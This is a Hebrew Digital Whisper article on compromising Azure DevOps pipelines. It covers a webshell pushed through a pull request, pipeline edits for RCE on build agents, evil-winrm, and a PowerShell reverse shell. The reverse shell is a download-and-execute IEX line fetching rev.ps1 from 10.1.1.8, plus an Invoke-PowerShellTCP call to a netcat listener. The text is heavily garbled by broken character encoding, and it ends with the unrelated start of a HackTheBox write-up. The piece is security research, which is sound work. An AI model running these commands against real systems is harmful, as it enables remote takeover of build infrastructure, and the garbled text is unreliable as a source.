ˡˣ˵˟ ˶ˣ˵ˬˢ ό˨˩˟ˣ ˢ˪˰˧ ˸˞ ˳˟ˣ˵ˢ ˣˮ˪˷ ˶˧ˣˣ˞˪Φ 

 

  



 
 

Secure SHell in Unsecure System 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмос, ˶˞ˣ˶˟˲ нлнн  пт 
 

˶˥˞˪ ˨˶˰˟ ол ˸ˣ˧ˮ˷ ˷ˠ˧ˮ ˪πwebshell ˣˮ˪˰ˢ˷ ˸˥˸ sπroot directoryΥ 

ˢˮ˵˯ˬΥ ˵˶ ˫˧˷ˬ˸˷ˬ˪ ˫˧˧˲˧˴˲˯ ύ˫˧˧˟˧˦˶˦˯˧ˮ˧ˬˡ˞ όˢ˩˧˶˴ ˸ˣ˧ˢ˪ ˢ˞˷˶ˢ ˸˞˪˰ˢ˪ ˫˧˴˟˵ ˱ˮ˰˪ sπ

master ˱˯ˣˮ˟ Σ˳˪ˬˣˬ ˨˧˪ˢ˸˷ sπdeployment ˞˪ ˢ˶˵˧ ˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ ˰ˠ˶˟ ˰˴ˣ˟˷ ˧ˣˮ˧˷ ˡˣ˵˪ ˶ˣ˵ˬˢ 

˪˷ ˦˵˧ˣ˶˲ˢ ύ˫˞ ˧˩ ˢˤ ˢ˷ˣ˰ ˸˞ ˫˧˧˥ˢ ˫˧˪˵ ˸˧˸ˣ˰ˬ˷ˬ ˶˷˞˩ ˫˧ˡ˟ˣ˰ ˸˶ˣ˴˸˟ CI/CDΦό 

 

˧ˮ˷ ˷˧˥˶˸:  ˶ˣ˷˧˞˪ ˸ˣ˞˷˶ˢ ˫˰ ˷˪˥ ˷ˬ˸˷ˬpull request 

˸˰˩ Σ˱ˮ˰ sπmaster ˥˦˟ˣ˞ˬ ˱˞ˣ ˷ˬ˸˷ˬ ˞˪ ˪ˣ˩˧ ˸ˣ˪˰ˢ˪ ˣ˧˪˞ ˡˣ˵ Φ˵˧ˣˮ˪˟ ˷ˬ˸˷ˬ ˞˪˷ ˪ˣ˩˧ ˸ˣ˪˰ˢ˪ 

ˡˣ˵ ˸ˣ˶˧˷˧ ˪πmaster ˪˟˞ ˷˧ x˪ ˸ˣ˶˷˲˞ ˶˷˞˪ ˸ˣ˷˵˟ pull Φˣˬ˩ ˭˩ Σ˦˲˧˶˵˯ sπCI/CD ˰˴˟ˬ˷ build 

ˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ ˪˦ˣ˟ ˸˰˩ˣ ˵˶ ˫˧˷ˬ˸˷ˬ ˫˧˧˲˧˴˲˯ ˫˧˪ˣ˩˧ ˣ˪˧˰˲ˢ˪Φ 

˸˰˩ Σ˫˞ ˢ˯ˮˮ ˸ˣ˪˰ˢ˪ ˸˞ ˳˟ˣ˵ sπwebshell ˪˞ sπmaster ύˢˬˣˡ˟ ˢˬ˪ ˣˮ˧˷˰˷ ˫ˡˣ˵ˬ ό˪˟˵ˮ ˸˞ 

ˢ˞˧ˠ˷ˢ ˢ˞˟ˢΥ 

 

˶ˬˣ˪˩ Σˣˮ˥ˮ˞ ˫˧˟˧˧˥ ˣ˶˷˞˧˷ ˣˮ˪ ˸˞ ˸˷˵˟ sπpull request ˪˰ ˸ˮˬ ˰˴˟˪ push ˪˞ ˱ˮ˰ sπmasterΦ 
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˪˰ ˸ˮˬ ˱ˣ˵˰˪ ˸˞ ˭ˣˮˠˮˬ ˢˮˠˢˢ ˧˯˧˯˟ˢ ˮˢϦ˪ Σ˪˩ˣˮ ˶ˣ˴˧˪ branch ˷ˡ˥ Σ˰˴˟˪ checkout ˣ˩˶ˡ ˨˩ˣ ˶ˣ˴˧˪ 

pull requestΥ 

 

ˢ˴˶ˮ ˰˴˟˪ merge ˱ˮ˰˪ ˣˮ˶˴˧˷ ˪˞ ˨ˣ˸ sπmaster Σ˶ˣ˴˧ˮ pull request ˸ˬ˶ˣ˲˦˪˲˟ Azure devopsΥ 
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welp Σ˭ˬ˸˯ˬ ˣˮ˥ˮ˞˷ ˫˧˪ˣ˩˧ ˶˷˞˪ ˸˞ sπpull requestΥ 

 

˨˧˪ˢ˸ sπmerge ˫˪˷ˣˢ ˢ˥˪˴ˢ˟Υ 

 

˟˪˷ˢ ˞˟ˢ ˞ˣˢ ˸˩˪˪ ˸˟˧˟˯˪ sπpipelines Σ˷˲˥˪ ˪˧˰˲ˢ˪ˣ ˸˧ˮˡ˧ ˸˞ ˨˧˪ˢ˸ sπCI/CD Σ˳˧˶ˢ˪ ˸˞ sπbuild 

job ˭ˣˣ˩˪ˣ ˣ˸ˣ˞ ˪˞ ˱ˮ˰ˢ ˷ˡ˥ˢ ˣˮ˶˴˧˷Υ 

 

ˢ˞˶ˮ ˸˞ ˢ˷˵˟ˢ ˣˮ˶˴˧˷ ˸˞ˣ ˨˧˪ˢ˸ sπbuild ˰˴˟˸ˬ ˪˰ˣ˲˟Υ 
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˶ˬˣ˪˩ π  ˡˣ˵ˢ ˣˮ˪˷ ˶˟˰ ˸˟˧˟˯˪ Production  Φύ˷˧˥˶˸˟ ˞˟ˢ ˥˸ˮˮ ˵ˬˣ˰˪ ˶˸ˣ˧ ˸˞ ˸ˣ˷˪ˣ˥ˢ ˸˟˧˟˯˷ sπ

pipelines ˸ˮˬˣ˦ ˢ˩ˣ˸˟Φό ˶˥˞˪ ˭ˬˤ ˶˴˵ ˪˩ˣˮ ˯ˣ˲˸˪ ˸˞ sπwebshell ˨˶ˡ ˭˲ˡ˲ˡˢ ˳˧˶ˢ˪ˣ ˣ˸ˣ˰˴ˬ˞˟ ˡˣ˵ 

˪˰ ˸˶˷ˢΥ 

 

ˢˬˬˢ Σˢˡ˧ˬ˟ ˫˸˟˵˰ˣ ˧˶˥˞ ˷˧˥˶˸ˢ ˢ˶ˣ˴˟ ˢ˟ˣ˦ Σ˫˸˞ ˫˧˶ˣˬ˞ ˵ˣ˰˴˪ Ϧ˪˟˞ ˢˬ˪ ˪ˤ˞ˤ˰˪ ˷ˬ˸˷ˬ˷ 

˪˟˵˧ ˫ˠ ˸ˣ˞˷˶ˢ ˶ˣ˷˧˞˪ pull requests ˫ˠˣ ˢ˧˴˲ˣ˞ ˸˪˰˲ˢ˪ pipelines ˫˧ˬ˧˧˵ΚΚΚ Ϧ˫˸˞ˣ ˧˶ˬˠ˪ ˫˧˵ˡˣ˴ π 

ˢˬ ˫˰˦ˢ ˥˧˷˵ˢ˪ ˫˧˸ˣ˶˧˷ ˫˞ ˣˮ˥ˮ˞ ˫˧˶˷˲˞ˬ ˪˴ˮ˪ ˫˸ˣ˞ ˫˧˩˶ˡ˟ ˸ˣ˲˧˵˰. 

ˢ˟ˣ˷˸ˢ ˢ˦ˣ˷˲ˢ ˞˧ˢ ˟ˣ˶˪˷ Σ˸ˣ˩˶˰ˬ˪ ˸ˣ˟ˣ˶ˬ ˫˧˟˧˩˶ ˫˧˰ˮ ˣˬ˩ Azure DevOps ˞˪ ˢ˧ˢ˧ ύ˪˟˥ˣ ˞˪˷ ό

˪ˢˮˬξ˦˵˦˧˩˶˞ ˪ˢˮ˧˷ ˸˞ ˪˩ˢ ˰˴˟˧ˣ ˟˵˰ˬ ˢ˶ˣ˴˟ ˢ˵ˣˡ˞ ˧˶˥˞ ˪ˣˢ˧ˮ ˸ˣ˞˷˶ˢˢ Φˬ˧˧˵˸ˣ ˸ˣ˪˟ˠˬ ˪ˣ˰˲˸ 

ˡ˧ˬ˸˷ ˧˷ˬ˸˷ˬ ˢ˴˵ˢ ˣ˴˶˧ ˪ˠ˰˪ ˸˟ˣ˦˪ ˭ˣ˶˸˲ ˧ˮˬˤΣ ˣˬ˩ ˶˷˲˞˪ ˰ˣ˴˧˟ ˶ˣ˷˧˞ pull requests ˶˥˞˪ code 

reviews ˣˬ˩ˣ ˸ˮ˧˸ˮ ˸ˣ˞˷˶ˢ ˸˴˶ˢ˪ ˧˩˧˪ˢ˸ build ˪πdeployment ˫˧˥˸˲ˬ˪ ˪˧˟˷˟ ˤ˶ˤ˪ ProductionΦ 

˷˧˥˶˸ˢ ˧ˮ˷ˢ Σ˫˞ ˧˩ ˞˪ ˢˮˣ˷ ˢ˶ˣ˴˟ ˸˧˸ˣˢˬ ˷˧˥˶˸ˢˬ ˭ˣ˷˞˶ˢ Σ˞˟ ˫˧ˠˡˢ˪ ˵ˣ˧ˡ˟ ˸˞ ˢˤ π ˢˬ ˢ˶ˣ˵ 

˶˷˞˩ ˪˩ˢ Ϧ˷˧ˠ˶ˬ Ϧ˥˷˵ˣˬ ˪˟˞ ˫˧˵ˡˣ˟˷˩ ˸˞ ˢ˧˴˞ˣ˦˧˯ˢ ˟ˣ˶˵ˬ ˫˧˪ˠˬ ˢˤ˷ ˞˪ ˶ˣ˲˧˯ˢ Τ˭˧˧ˡ˰ ˫˧ˬ˧˧˵ 

˫˧˷ˬ˸˷ˬ ˫˧˵ˤ˥ Σ˸ˣ˶ˬ˪ ˞˪˷-˱ˡ˥˞ ˭˧˞ ˸ˣ˞˷˶ˢ ˭˧ˬˡ˞Φ 
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ˢ ˷˧˞ :˧˷˧˪˷ ˷˧˥˶˸-DevOps ˢ ˨˧˪ˢ˸ ˪˰ ˧˞˶˥˞ˢ ˸ˣˣ˴˟-build ˡ˟˪˟ 

˪˩˩ ˢ˞˶ˮˢ ˶ˣ˦˵ˣˢ ˢ˲˧˵˸ ˪˰ ˸˶˷ Azure DevOps ˳ˣ˲ˮˢ ˶˸ˣ˧˟ ˞ˣˢ ˸ˣ˰˴ˬ˞˟ ˸ˣ˟˪˸˷ˢ ˨˧˪ˢ˸˟ sπ

build Φˣˮ˥ˮ˞ ˡ˧ˠˮ ˸˞ ˢˤ ˶˟˩ ˣ˧˷˩˰ˬ Υˢˡ˧ˬ˟ ˣˮ˪˟˧˵ˣ ˫˧˧ˡ˧˪ ˷ˬ˸˷ˬ ˫˰ ˸ˣ˞˷˶ˢ ˸˶˧˴˧˪ pipeline ˢˤ 

˱ˣ˯ ˵˥˷ˬˢΦ  

˷˧˥˶˸ˢ ˧˷˧˪˷ˢ ˢˮˣ˷ ˸˧˸ˣˢˬ ˫˧˷˧˥˶˸ˢˬ ˫˧ˬˡˣ˵ˢ Φˢ˲ s˷ˬ˸˷ˬ ύRobin Islip (robis ˣˮ˪˟˧˵˷ ˞˪ 

˪ˣ˩˧ ˪˪˩˟ ˸˰ˠ˪ ˸˟˧˟˯˟ ˪ˣˢ˧ˮ ˡˣ˵ˢ ˪˷ sπRepos Σ˪˟˞ ύˢˤˣ ˪˟˞ ˧˸ˣ˰ˬ˷ˬ ό˞ˣˢ ˪ˣ˩˧ ˶ˣ˴˧˪ pipelines 

˫˧ˠˣ˯ˬ ˫˧ˮˣ˷ ˭ˣˣ˧˩ˬ ˞ˣˢ˷ ˶˟˥ ˸˴ˣ˟˵˟ Build AdministratorsΥ 

 

ˣ˞ˣ˟ ˢ˞˶ˮ ˨˧˞ ˶˷˲˞ ˰˧ˠˢ˪ ˧ˮ˷ˬ pipelineπ˫˧ ˫˧ˬ˧ˬ˸ ˪˞ RCE ύ˪˩ ˡ˥˞ ˡˣ˥˪Φό  

˭ˣˣ˧˩ˬ ˣˮ˥ˮ˞˷ ˫˧˴˶ ˸˞˷˶ˢ˟ build admin ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˶ˣ˴˧˪ ˞˪ˬ ύ˪˟˞ ˞˪ˬ όpipelines ˫˧ˮˣ˷Υ 
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˫˞ ˶˥˟ˮ ˸˞ ϦAzure Repos Git Ϧˣ˞˴ˣ˧ ˣˮ˪ ˪˰ˬ ол ˫˧ˠˣ˯ ˪˷ pre-built pipelines ˫˧˟ˣ˸˩ˢ ˦ˬ˶ˣ˲˟ YAML 

˫˧˰˟˴ˬˣ ˦˯ ˟˥˶ ˡˣ˞ˬ ˪˷ ˸ˣ˪ˣ˰˲Υ ˪˥ˢ ˸ˡ˶ˣˢˬ Node.js ˫˰ React ˡ˰ ˸ˣ˵˷ˬˬ˸ˢ˪ ˢ˞˪ˬ ˪˷ 

˦˵˧˧ˣ˶˲ˢ ˫˰ ˸ˣ˟˧˟˯ Azure ύ˳˟ˣ˵ ˪˧˩ˬˢ ˦˰ˬ˩ млл ˸ˣ˶ˣ˷ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ ˸ˣˮ˟ˣˬ ˷˞˶ˬΥό 

 

 

 

 

 

 

 

 

˸˶˦ˬ ˭ˣˣˠˬˢ ˶˧ˡ˞ˢ ˢˤˢ ˪˷ pipelineπ˫˧ ˫˧ˠ˲ˮˣ˵ˬ ˷˞˶ˬ ˞˧ˢ ˸ˣ˥˲ x˞ ˶˸ˣ˧ ˪˵ˢ˪ ˪˰ ˫˧˧˥ˢ ˪˷ ˷˧˞ sπ

devops ύ˫ˠ˷ ˢ˩˩ ˞-˲˱˫˰ ˞˪ ˫˧˪˵ ˡ˥ˣ˧ˬ˟ ό˫ˢ˷˩ ˫˧˷ˠ˧ˮ ˶˧ˡˠˢ˪ ˨˧˪ˢ˸ ˷ˡ˥Φ ˸˸˟π˷˧˥˶˸ ˭ˣ˷˞˶ˢ 

˶˥˟ˮ ˟πPipeline ˧˯˧˯˟ˢ ϦStarter pipelineύ Ϧˣ˸ˣ˞ ˡ˥˞ ˣˮ˦˶˧˲˷ ˧˟ˠ˪ ˢ˧˴˵ˣ˶˦˯ˮˣ˵ˢ ˣ˪˷ ˸˪˧˥˸˟ 

˶ˬ˞ˬˢ όˢ˞˶ˮˣ ˡ˴˧˩ ˭˸˧ˮ ˰˧ˠˢ˪ ˣ˸ˣ˰˴ˬ˞˟ ˪πRCEΦ 
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˸˧˷˞˶ ˪˩ ˟ˣ˷˥ ˶ˬˣ˪ ˫˞˷ ˷˧ ˣˮ˪ ˢ˦˧˪˷ ˪˰ ˸˶ˣ˴˸ sπpipeline ˶˟˩ ˷˧ ˣˮ˪ RCE ˭ˣˣ˧˩ˬ ˸˧ˠ˸˷script 

ˢ˴˧˶ˬ ˡˣ˵ ˸ˣ˰˴ˬ˞˟ cmd.exe\  bashΥ 

 

˭˞˩ˬ ˨˧˶˴ ˵˶ ˭ˣ˧ˬˡ ˞˧˶˟ ˪˧˟˷˟ ˪˴ˮ˪ ˸˞ ˨˧˪ˢ˸ˢ ˸ˠ˷ˢ˪ ˢ˦˧˪˷ ˢ˞˪ˬ Φ˪˩ˣˮ ˪˷ˬ˪ ˸ˣˮ˷˪ ˸˞ ˸ˬ˯˧˯ 

πsAdministrator ˶˟˥˸ˢ˪ˣ ˣ˧˪˞ ˵ˣ˥˶ˬΥ 
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˶˥˞˪ ˸˴˶ˢ sπpipeline ˪˟˵ˮ ˢ˷πjob ˰˴ˣ˟ ˢ˥˪˴ˢ˟: 

 

˸˰˩ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˶˟˥˸ˢ˪ ˵ˣ˥˶ˬ ˸ˣ˰˴ˬ˞˟ evil-winrm ύ˧˪˩ ˸˟˧˟˯ˬ kali ˪˴ˮˬ˷ ˸˞ ˸ˣ˶˧˷ winrm ˳˶˷ 

˪˰ ˢˮˣ˩ˬˢ ό˷ˬ˸˷ˬ˪ :˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˫˰ 

 

ˣ˞ ˫˞ ˞˟ ˣˮ˪ ˸ˣ˷˰˪ ˸ˣ˥˲ ˷˰˶ Σ˶˷˲˞ ˦ˣ˷˲ ˠ˲ˮ˵˪ ˸˞ sπpipeline ˱˧˯ˣ˧˷ ˷ˬ˸˷ˬ˪ ˣˮˠ˷ˢ˷ ύrobisl ό

˸ˣ˞˷˶ˢ ˭˧ˬˡ˞Υ 
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 ˶˥˞˪ˣ ˭˩ˬ ˫˞ ˶˟˥˸ˮ ˢ˶ˣ˴˟ ˢˬˣˡ ˸ˣ˰˴ˬ˞˟ evil-winrmΥ 

 

ˣˤ ˢ˸˧˧ˢ ˢˡˣ˟˰ ˫˰ pipeline ˠˣ˯ˢˬ ˧˯˧˯˟ˢ ˶˸ˣ˧˟ Φ 

ˣˮ˧˧ˢ ˫˧˪ˣ˩˧ ˶ˣ˥˟˪ ˸ˣ˷˰˪ ˷ˣˬ˧˷ ˪˩˟ pipeline ˢ˷ˣ˰˷ ˷ˣˬ˧˷ ˸˲˷˟ backend ˸˶˥˞ ˣˬ˩: python Σphp Σ

asp.net Σnode.js ˣ˩ˣ ϥ˭ˣˣ˧˩ˬ ˪ˣ˩˟˷ ˭ˢ˧ˢ˧ ˣ˲ˣ˯˟ ˪˷ ˫ˣ˧ ˫ˣ˵ˬ ˯˧ˮ˩ˢ˪ ύˢ˶ˣ˴˟ ˣˤ˩ x˞ ˸˶˥˞ ό˸˞ ˸˧ˠ˸ˢ ˪˷ 

script ˰˴˟˪ˣ ˸˞ ˢˬ ˣˮ˧˷˰˷ ˡ˰ ˢ˩. 

˪˰ ˸ˮˬ ˸ˣ˞˶ˢ˪ ˸˞ ˢˮˣˬ˸ˢ ˸˪˪ˣ˩ˢ Σ˪˧˟˷˟ ˸˸πs˷˧˥˶˸ ˧ˮ˷ˢ, ˥˵˧ˮ ˭ˣˣ˩ˬ˟ ˡ˰˴ ˢ˶ˣ˥˞ ˶ˣ˴˧ˮˣ Pipeline 

˵˧˶ Φ˷ˬˬ ˧˪˟ ˫ˣ˪˩Υ 
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˶˥˞˪ ˭˩ˬ Σ˱˧˯ˣˮ task ˠˣ˯ˬ powershell ˪πagent ˧˞˶˥˞˷ ˪˰ ˸˴˶ˢ ˨˧˪ˢ˸ sπbuildΥ 

 

˟˪˷ˢ ˞˟ˢ ˞ˣˢ ˱˧˯ˣˢ˪ ˢˬ˧˷ˬ˪ ˦˲˧˶˵˯ ˞˶ˣ˵ˢ ˪πreverse shell ˸˶ˣ˷˟ ˢ˴˶ˢ ˸˥˞ ˡ˟˪˟ Φˢˤ ˸ˣ˥˲ x˞ 

˶˸ˣ˧ ˦˲˧˶˵˯ˢ ˪πreverse shell ˧˩ˢ ˳ˣ˲ˮ ˫˧˧˵˷ ˶˟ˣˡˬ˷˩ ˸ˮˣ˩ˬ˟ windows Φ 

ˢˤ ˨˪ˣˢ ˸ˣ˞˶ˢ˪ ˸˴˵ ˨˟ˣ˯ˬ ˢ˪˥˸ˢ˟ ˪˟˞ ˦˟ˬ˟ ˸˴˵ ˶˸ˣ˧ ˨ˣ˶˞ ˭˧˟ˮ ˢ˯˟˷Ϧ˩ ˶˟ˣˡˬ ˣˢ˷ˬ˟ ˦ˣ˷˲Υ 
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ˤ˞ ˢˬ ˫˴˰˟ ˢ˶ˣ˵ ˸˶ˣ˷˟ ˞˪˲ˢ ˣˤˢΚ 

IEX ( New- Object  Net.Webclient ). downloadString ( 'http://10.1.1.8/rev.ps1' )  

ˢ˶˴˵˟: ˷ˣˬ˧˷ ˟πweb client ˪˷ ˸ˬ˶ˣ˲˦˪˲ NET Φ˪˧˟˷˟ ˡ˧˶ˣˢ˪ ˳˟ˣ˵ ˫˷˟ rev.ps1 ˸˶˷ˬ ˵˥ˣ˶ˬ 

ύˢˮˣ˩ˬˢ ˸˲˵ˣ˸ˢ ˣˮ˪˷ όˡ˧ˬˣ ˶˥˞˪ ˭˩ˬ ˣ˴˧˶ˢ˪ ˢ˶ˣ˴˟ ˸˧ˬ˞ˮ˧ˡΦ 

˸ˣ˩˧˶˞˟: ˳˟ˣ˵ˢ s ˡ˶ˣˬ˞ˣˢ malware ˪˩˷ ˣ˸˶˦ˬ ˢˤ ˯ˣ˲˸˪ ˶ˣ˟˧˥ ˥ˣ˸˲ ˧˲˪ ˸˟ˣ˸˩ IP ˦˶ˣ˲ˣ ˫˧˶ˡˠˣˬ 

˷˞˶ˬ ˷˧ˠˮˢ˪ˣ ˣ˧˪˞ ˪ˮ˧ˬ˶˦ ˪˷ PSΥ 

Invoke - PowerShellTCP  - Reverse  - IPAddress  10. 1. 1. 8 - Port  4443  

˭˞˩ Σˢ˸˟ˣ˸˩ млΦмΦмΦу ˸ˮ˧˧˴ˬ ˸˞ ˸˟ˣ˸˩ˢ ˸˧˦˶˲ˢ ˣˮ˪˷ ˟πVPN ˣ˩˶ˡ˷ ˣˮ˥ˮ˞ ˫˧˶˟ˣ˥ˬ ˪˧˟˷˟ ˸˷ˠ˪ 

ˢ˟˧˟˯˪ ˢ˟ ˸˟˷ˣ˧ ˢˮˣ˩ˬˢ ˸˲˵˸ˮˢΦ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˭˧ˤ˞ˢ˪ ˢ˶ˣ˟˰˸˪ ˫˧˶ˣ˟˧˥ˣ ˫˧˯ˮ˩ˮ ˸ˣ˰˴ˬ˞˟ ˧˪˩ 

netcatΥ 

 

π˟Powershell sπIEX ˞ˣˢ ˶ˣ˴˧˵ ˪˷ Invoke-Expression Φˣ˸˶˦ˬ ˪˟˵˪ string Σ˳˧˶ˢ˪ ˣ˸ˣ˞ ˢˡˣ˵˲˩ ˶˧ˤ˥ˢ˪ˣ 

˸˞ ˦˪˲ˢ Φ 

˪˰ ˸ˮˬ ˥ˣ˸˲˪ ˸˶˷ HTTP ˢˮˣ˩ˬˢˬ ˣˮ˪˷ ˶ˤ˰˧ˮ ˪ˡˣˬ˟ ˭ˣ˸˧˧˲ ˶˩ˣˬΥ http.serverΥ 

 

˨˧˞ ˪˩ˢ ˶ˬˤˬ ˡ˥˧˟Υ ˧ˮ˲˪ ˶˷˞ˮ˷ ˳˧˶ˮˣ ˸˞ sπpipeline Σ˭˧ˤ˞ˮ ˢ˶ˣ˴˟ ˸˧˟˧˦˵˞˶˦ˮ˧˞ ύ˸˦˧˪˵ ˸˥˧˪˷ˣ 

˦˪˵π˦˪˲ ό˸ˣ˰˴ˬ˞˟ netcat ˪˰ ˦˶ˣ˲ пппо ˪˧˟˵ˬ˟ˣ ˥˸˲ˮ ˸˶˷ HTTP ˢ˧˧˵˧˸˟ ˢ˟˷ ˞˴ˬˮ ˳˟ˣ˵ rev.ps1 Φ 

˫˰ ˸˴˶ˢ sπpipeline Σ˸˶˷ˢ ˣ˧˪˰ ˳˶ˣˬ ˦˲˧˶˵˯ˢ ˢ˯ˮ˧ ˨ˣ˷ˬ˪ ˸˞ ˳˟ˣ˵ˢ rev.ps1 Φ˸˶˷ˢ ˟˷ˣ˧˷ ˪˰ 

ˢˮˣ˩ˬˢ ˣˮ˪˷ ˷˧ˠˮ˧ ˸˞ ˳˟ˣ˵ˢ ˱˧˩˟ Φ˶˥˞˪ ˭˩ˬ Σ˰˴˟˸˧ ˟˪˷ˢ ˞˟ˢ ˪˷ ˦˲˧˶˵˯ˢ ˞ˣˢˣ ˶ˡˮ˶˧ ˸˞ ˳˟ˣ˵ˢ 

˷ ˢˤˢ˸˰ ˧ˡ˶ ˢ˯ˮ˧ˣ ˳˧˶ˢ˪ ˸˞ ˣ˸˪ˣ˩˸ Φ 

˭ˣˣ˧˩ˬ ˢ˶ˣ˷ˢ˷ ˣ˩ˣ˸˟ ˸ˠ˲ˮˣ˵ˬ ˵˷ˬˬ˸ˢ˪ ˫˰ ˢˮˣ˩ˬˢ ˣˮ˪˷ ˦˶ˣ˲˟ пппо ˞˧ˢ ˥˪˷˸ ˢ˷˵˟ ˨˧˪ˢ˸ˢˣ ˪˷ 

netcat ˢ˧ˢ˧ ˵ˣ˧ˡ˟ ˫˷ ˪˧˟˷˟ ˯ˣ˲˸˪ ˸˞ ˢ˷˵˟ˢ Φ 

˨˩ ˶˴ˣˣ˧ reverse shell ˳˧˶ˬˢ PS ˢ˧ˢˮˣ ˫˧˪ˠˣ˯ˬ ˳˧˶ˢ˪ ˸ˣˡˣ˵˲ ˵ˣ˥˶ˬ ˪˰ ˸˶˷ˢ Φ 
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ˢˮˣˬ˸˟ˣ  ˸˶˷ :˪˞ˬ˷ ˡ˴)HTTP  ˳˟ˣ˵ˢ ˸˞ ˷˧ˠˬ ˣˮ˪˷rev.ps1 ˸˶˷ :˭˧ˬ˧ ˡ˴ ,netcat  ˶ˣ˟˧˥ ˪˟˵ˬ

:(˱˵˸ˮˢ ˸˶˷ˢˬ ˧˟˧˦˵˶˦ˮ˧˞ 

 

 

˫ˣ˩˧˯ 

ˤ˞ ˣˮ˰ˠˢ ˣˬˣ˧˯˪ ˪˷ ˶ˬ˞ˬ ˢˤ Σˣˮ˶˟˰ ˞˪ ˦˰ˬ Φˣˮˠ˴ˢ ˸˞ ˭ˣˣ˧˩ˢ ˷ˡ˥ˢ ˞˧˟ˬ˷ ˣˬ˧˰ ˫˪ˣ˰ sπDevOps ˸˞ˣ 

˧˪˩ ˭ˮ˰ˢ ˫˧˲˯ˣˮˢ ˷πAzure DevOps ˧ˬ˸ˮ˴˥˧ ˪˷ˬ˸˷ˬ˧sΦ 

˭ˣˮ˩˸ˢ ˢ˧ˢ ˶˧˟˯ˢ˪ ˪˰ ˪˩ ˢ˟˧˟˯ˢ ˢˬˣ ˫˧˧˵˷ ˢ˟ ύ˪˰ˣ ˨˶ˡˢ ˸˸˪ ˢˮ˰ˬ ˢ˪˞˷˪ ˰ˣˡˬ ˪˩ ˨˩ ˢ˟˶ˢ 

˫˧˥˸˲ˬ ˧˷ˮ˞ˣ devops ˫˧˵˷ˬˬ˸ˬ ˢ˸˧˞ ˭ˮ˰˪ ό˧˴˥˟ˣ ˧ˮ˷ˢ ˪˷ ˶ˬ˞ˬˢ ˸ˣ˞˶ˢ˪ ˡ˴˧˩ ˭˸˧ˮ ˪˴ˮ˪ ˢ˸ˣ˞Φ 

˶ˬ˞ˬˢ ˞˪ ˱˞˷ ˸ˣ˧ˢ˪ ˧ˮ˩˦ ˱ˣ˶˧˦˟ x˞ ˶˧˞ˢ˪ ˢ˷˪ˣ˥ ˢ˷ˡ˥ ˢ˸˪ˠ˸ˢ˷ ˞˪˞ ˸ˬ˞˟ ˠ˧˴ˢ˪ ˶˸ˣ˧˪ ˧˷ˮ˞ 

˸˥˦˟˞ ˰ˡ˧ˬ ˪˰ ˢˬˣ˧˵ ˪˷ ˸˟˧˟˯ sπDevOps ˪˷ Azure ˫˧˷ˠˡˣ ˴˧˲ˣϥ˫˧˶ ˫˧˧˶˵˧˰ ˢ˟ Τˡ˴ˢˬˣ ˧ˮ˷ ˫ˠ 

˱ˣ˷˥˪ ˧˷ˮ˞ ˥ˣ˸˧˲ ˪˞ ˸ˣˮ˩˯ˢ ˪˩ˢ ˨˩ ˸ˣ˶ˣ˶˟ ˣ˧˪˞ˬ ˸ˣˬ˧˧˵˷ ˢ˟ Σ˰ˣˡˬˣ ˢ˩ ˟ˣ˷˥ ˪ˢˮ˪ ˸ˣ˞˷˶ˢ ˢ˶ˣ˴˟ 

ˢˮˣ˩ˮ ύ˞˪ˣ ˶ˤ˲˪ ˸ˣ˞˶˷ˢ ˢ˧˧ˮ˟ ˪˷ pipelines ˪˩˪ ˶˟ˣ˰ ˟˷ˣ όΗΦΦ 

˫˧ˣˣ˵ˬ ˫˸˥˵˪˷ ˶ˬ˞ˬˢˬ ˣˢ˷ˬ ˷ˡ˥ J 

 

˪˰ ˫˧˟˸ˣ˩ˢ 

¶ ˡˣˡ ˶ˣ˞ Σ˭˟ нл Σ˵˯˰˸ˬ ˶˵˥˟ ˸ˣ˷˪ˣ˥ ˸˥˦˟˞ˣ ˰ˡ˧ˬ Φ˟˟ˣ˥ ˢ˯˶ˣ˟ ˸ˣ˰˵˷ˢˣ Σ˪˩ˣ˞ ˫˧˪ˣ˧˦ˣΦ 

¶ ˯˟˵˪˞ ˭˸ˮˣˢ˧, ˭˟ нт Σ˶˵ˣ˥ ˸˥˦˟˞ ˰ˡ˧ˬ ˢ˶˟˥˟ ˞˪ ˢˮ˦˵ ˞˪ˣ ˸˧˦˶˲ Φ˟˟ˣ˥ ˫˧˦ˮ˪ˣ˵ˣ˯ Σˢˡˣ˯ ˶ˣ˩ˬˣ 

ˢ˲˵˪Φ 

˫˧ˮ˧ˬˤ ˸ˣ˪˞˷˪ Σ˸ˣ˶˰ˢ xπmemes ˪˧˧ˬ˟Υ 

 ordavid36@gmail.com 

jonathanelkabas@gmail.com 

 

https://www.linkedin.com/in/or-david-5287181b7/
https://www.linkedin.com/in/or-david-5287181b7/
https://www.linkedin.com/in/jonathan-elkabas-20636b20a/
https://www.linkedin.com/in/jonathan-elkabas-20636b20a/
mailto:ordavid36@gmail.com
mailto:ordavid36@gmail.com
mailto:jonathanelkabas@gmail.com
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˭ˣ˶˸˲ ˸ˮˣ˩ˬ˪ Secret ˪˷ HackTheBox 

˸˞ˬ ˪˞˧ˮˡ ˧ˮ˟ˣˠ 

 

ˢˬˡ˵ˢ 

HackTheBox ˢˮ˧ˢ ˸ˬ˶ˣ˲˦˪˲ ˧˶ˠ˸˞ ˠˮ˧˵˞ˢ ˢ˪˧˩ˬˢ ˫˧˶ˠ˸˞ ˸ˣˬ˶˟ ˸ˣ˧˶ˣˠ˦˵ˣ ˸ˣˮˣ˷ Φ˶ˬ˞ˬ˟ ˢˤ ˫˧ˠˡ˞ 

˫˩˪ ˸˞ ˭ˣ˶˸˲ˢ ˧˪˷ ˢˮˣ˩ˬ˪ ˫˷˟ ϦSecret Ϧˢˬ˶ˣ˲˦˪˲˟ xʕ Φˢˮˣ˩ˬˢ ˸ˠ˦˪ˣ˵ˬ ˟ˢˬ˶ ˢ˪˵ sˢ˩˧˶˴ˬ ˰ˡ˧ 

˧˯˧˯˟ ˧˞˷ˣˮ˟ ˶˵˥ˬ ˸ˣ˷˪ˣ˥ Web sx˸ˬ˪˯ ˸ˣ˞˷˶ˢ ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ ˯˵ˣˮ˧˪Φ 

